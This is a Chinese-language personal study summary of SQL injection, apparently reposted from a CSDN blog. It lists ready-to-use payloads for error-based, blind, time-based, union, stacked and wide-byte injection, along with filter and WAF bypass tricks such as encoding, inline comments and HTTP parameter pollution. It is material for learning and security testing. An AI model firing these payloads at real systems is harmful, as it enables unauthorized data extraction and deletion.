sql注入总结学习

按照类型分类

整数型

字符型

按HTTP提交方式分

GET注入

POST注入

Cookie注入

按注入方式分

报错注入

基于floor,UpdateXml(有长度限制,最长32位),ExtractValue(有长度限制,最长32位)进行报错注入。

floor()和rand()

union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a       /*利用错误信息得到当前数据库名*/

extractvalue()

id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

updatexml()

id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

geometrycollection()

id=1 and geometrycollection((select * from(select * from(select user())a)b))

multipoint()

id=1 and multipoint((select * from(select * from(select user())a)b))

polygon()

id=1 and polygon((select * from(select * from(select user())a)b))

multipolygon()

id=1 and multipolygon((select * from(select * from(select user())a)b))

linestring()

id=1 and linestring((select * from(select * from(select user())a)b))

multilinestring()

id=1 and multilinestring((select * from(select * from(select user())a)b))

exp()

id=1 and exp(~(select * from(select user())a))

Procedure_Analyse

配合报错注入即可/也可以用注入点在limit后的注入
在这里插入图片描述
样例
在这里插入图片描述

时间注入

id = 1 and if(length(database())>1,sleep(5),1)

盲注

使用函数

length(str) :返回字符串str的长度

substr(str, pos, len) :将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始

mid(str,pos,len) :跟上面的一样,截取字符串

ascii(str) :返回字符串str的最左面字符的ASCII代码值

ord(str) :将字符或布尔类型转成ascll码

if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

布尔盲注

and ascii(substr((select database()),1,1))>64 /*判断数据库名的第一个字符的ascii值是否大于64*/

时间盲注

id=1 union select if(SUBSTRING(user(),1,1)='root',sleep(4),1),null,null /*提取用户名第一个个字符做判断,正确就延迟4秒,错误返回1*/

union注入

id =-1 union select 1,2,3   /*获取字段*/

Boolean注入

id=1' substr(database(),1,1)='t'--+     /*判断数据名*/

Cookie注入

当发现在url中没有请求参数,单数却能得到结果的时候,可以看看请求参数是不是在cookie中,然后利用常规注入方式在cookie中注入测试即可,只是注入的位置在cookie中,与url中的注入没有区别。
Cookie: id = 1 and 1=1

扫描二维码关注公众号,回复: 14958650 查看本文章

堆叠查询注入

id = 1';select if(sub(user(),1,1)='r',sleep(3),1)%23

  • 堆叠注入简介

  • Stacked injections: 堆叠注入。从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。

  • 原理

  • 在SQL 中, 分号(;)是用来表示一条sql 语句的结束。试想一下我们在; 结束一个 sql语句后继续构造下一条语句, 会不会一起执行?因此这个想法也就造就了堆叠注入。而 union jection(联合注入)也是将两条语句合并在一起, 两者之间有什么区别么?区别就在于 union或者 union all 执行的语句类型是有限的, 可以用来执行查询语句, 而堆叠注入可以执行的是任意的语句。

  • 堆叠注入的局限性在于并不是每一个环境下都可以执行, 可能受到 API 或者数据库引擎不支持的限制, 当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

  • 虽然我们前面提到了堆叠查询可以执行任意的sql 语句, 但是这种注入方式并不是十分的完美的。在我们的web 系统中, 因为代码通常只返回一个查询结果, 因此, 堆叠注入第二个语句产生错误或者结果只能被忽略, 我们在前端界面是无法看到返回结果的。

  • 因此, 在读取数据时, 我们建议使用union(联合)注入。同时在使用堆叠注入之前, 我们也是需要知道一些数据库相关信息的, 例如表名, 列名等信息。

  • 在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    成功删除

tips:

  1. 并非所有环境都支持堆叠注入,比如Oracle
  2. 查询时通常只返回一个结果,导致后面的SQL语句可能无法回显到页面上

base64注入

对参数进行base64编码,再发送请求。

说明:id=1',1的base64编码为MSc=,而=的url编码为%3d,
所以得到以下结果:

id=MSc%3d

注释

#
-- (有空格)或--+
/**/
  • 内联注释:
/*!...*/

编码问题

宽字节注入

  • 查询参数是被单引号包围的,传入的单引号又被转义符()转义,如在后台数据库中对接受的参数使用addslashes()或其过滤函数
  • 数据库的编码为GBK

利用

id = -1%DF' union select 1,user(),3,%23
在上述条件下,单引号’被转义为%5c,所以就构成了%df%5c,而在GBK编码方式下,%df%5c是一个繁体字“連”,所以单引号成功逃逸

  • mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个字符需要ascii码大于128,才到汉字的范围)
  • 宽字节注入的本质是PHP与MySQL使用的字符集不同,只要低位的范围中含有0x5c的编码,就可以进行宽字节注入。

MySQL 5.0以上和MySQL 5.0以下版本的区别

MySQL 5.0以上版本存在一个存储着数据库信息的信息数据库–INFORMATION_SCHEMA ,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。而5.0以下没有。

information_schema

系统数据库,记录当前数据库的数据库,表,列,用户权限等信息

SCHEMATA

储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等

TABLES

储存mysql中的表信息,包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等

COLUMNS

储存mysql中表的列信息,包括这个表的所有列以及每个列的信息,该列是表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等

绕过

大小写绕过

双写绕过

编码绕过(url全编码、十六进制)

内联注释绕过

关键字替换

逗号绕过

substr、mid()函数中可以利用from to来摆脱对逗号的利用;

limit中可以利用offset来摆脱对逗号的利用

比较符号( >、< )绕过

greatest、between and

逻辑符号的替换

and=&&
or=||
xor=|
not=!

空格绕过

用括号,+等绕过

等价函数绕过

  • hex()、bin()=ascii()
  • concat_ws()=group_concat()
  • mid()、substr()=substring()

http参数污染

HTTP参数污染(HTTP Parameter Pollution) 攻击者通过在HTTP请求中插入特定的参数来发起攻击,如果Web应用中存在这样的漏洞,可以被攻击者利用来进行客户端或者服务器端的攻击

举个例子,我在谷歌和百度搜索的时候都将查询的参数传两次,谷歌会都作为搜索内容加载,百度则只加载第一个

在这里插入图片描述

id=1 union select+1,2,3+from+users+where+id=1–
变为
id=1 union select+1&id=2,3+from+users+where+id=1–

缓冲区溢出绕过

id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 ,27,28,29,30,31,32,33,34,35,36–+
其中0xAAAAAAAAAAAAAAAAAAAAA这里A越多越好。一般会存在临界值,其实这种方法还对后缀名的绕过也有用

猜你喜欢

转载自blog.csdn.net/hxhxhxhxx/article/details/108921489